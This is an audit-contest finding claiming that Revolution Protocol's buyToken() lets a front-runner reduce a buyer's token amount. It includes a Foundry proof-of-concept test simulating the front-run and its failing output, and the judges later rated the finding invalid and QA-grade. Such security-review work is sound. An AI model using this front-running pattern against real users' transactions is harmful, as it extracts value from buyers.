An attacker can front run buyer's `ERC20TokenEmitter::buyToken()` transaction which will give him less tokens than expected

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/ERC20TokenEmitter.sol#L152

Vulnerability details

ERC20TokenEmitter::buyToken() is vulnerable to frontrunning attack which will give buyer less token than expected.

Impact

The Amount of token that will be received by the buyer during the token buy in ERC20TokenEmitter::buyToken() depends upon the total emitted supply of the tokens. If a user buys some tokens then an attacker can front run his transaction which will give the user less tokens than expected.

Proof of Concept

Here is a test for POC:

    function testRevert_buyingCanBeFrontrunned() public {

        /////////////////////////////////////////
        ///          SETUP                   ////
        /////////////////////////////////////////

        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        address rachel = makeAddr("rachel");

        address[] memory tokenRecievers = new address[](1);
        tokenRecievers[0] = alice;

        uint256[] memory tokenSplitBps = new uint256[](1);
        tokenSplitBps[0] = 10000;

        IERC20TokenEmitter.ProtocolRewardAddresses memory protocolRewardsRecipients = IERC20TokenEmitter.ProtocolRewardAddresses({
            builder: address(0),
            purchaseReferral: address(0),
            deployer: address(0)
        });

        /////////////////////////////////////////////////////////////////////////////////
        ///   Alice sent the transaction to buy with 100 ETH. It is in mempool now   ////
        /////////////////////////////////////////////////////////////////////////////////

        ////////////////////////////////////////////////////////////////
        ////    Getting amount that alice should have received      ////
        ////////////////////////////////////////////////////////////////

        int256 amountShouldBeReceivedByAlice = erc20TokenEmitter.getTokenQuoteForPayment(100 ether);

        ///////////////////////////////////////////////////////////////////////////////////////////////////////
        ////   Bob saw alice's transaction and he frontrun the alice's transaction to buy with 1000 ETH.   ////
        ///////////////////////////////////////////////////////////////////////////////////////////////////////

        uint256 buyAmount = 1000 ether;

        vm.startPrank(bob);
        vm.deal(bob, buyAmount);
        tokenRecievers[0] = bob;
        erc20TokenEmitter.buyToken{value: buyAmount}(tokenRecievers, tokenSplitBps, protocolRewardsRecipients);
        vm.stopPrank();

        /////////////////////////////////////////////////////////////////
        ////   Executing Alice's transaction after bob's transaction ////
        /////////////////////////////////////////////////////////////////

        vm.startPrank(alice);
        vm.deal(alice, 100 ether);
        tokenRecievers[0] = alice;
        erc20TokenEmitter.buyToken{value: 100 ether}(tokenRecievers, tokenSplitBps, protocolRewardsRecipients);
        vm.stopPrank();

        console2.log("Amount that should be received by alice: %s", amountShouldBeReceivedByAlice);
        console2.log("balance of alice: %s", erc20Token.balanceOf(alice));

        require(erc20Token.balanceOf(alice) == uint(amountShouldBeReceivedByAlice), "amount is not correct");
    }

Output:

[FAIL. Reason: revert: amount is not correct] testRevert_buyingCanBeFrontrunned() (gas: 484954)
Logs:
  Amount that should be received by alice: 97002611729385051000
  balance of alice: 88007915902199226000

Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 7.94ms

Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/intergration/Integration.t.sol:Integration
[FAIL. Reason: revert: amount is not correct] testRevert_buyingCanBeFrontrunned() (gas: 484954)

Encountered a total of 1 failing tests, 0 tests succeeded

As you can see the transaction reverted as the expected amount and received amount is not equal as you can check from logs.

Tools Used

• Manual Review

Recommended Mitigation Steps

Consider adding a paramter in the function for minAmountOut for the minimum amount of tokens expected from the function and adding neccessary checks for the same.

Assessed type

Other

[c4-pre-sort]

raymondfam marked the issue as insufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #404

[c4-judge]

MarioPoneder marked the issue as unsatisfactory: Invalid

[c4-judge]

MarioPoneder changed the severity to QA (Quality Assurance)

[c4-judge]

MarioPoneder marked the issue as grade-c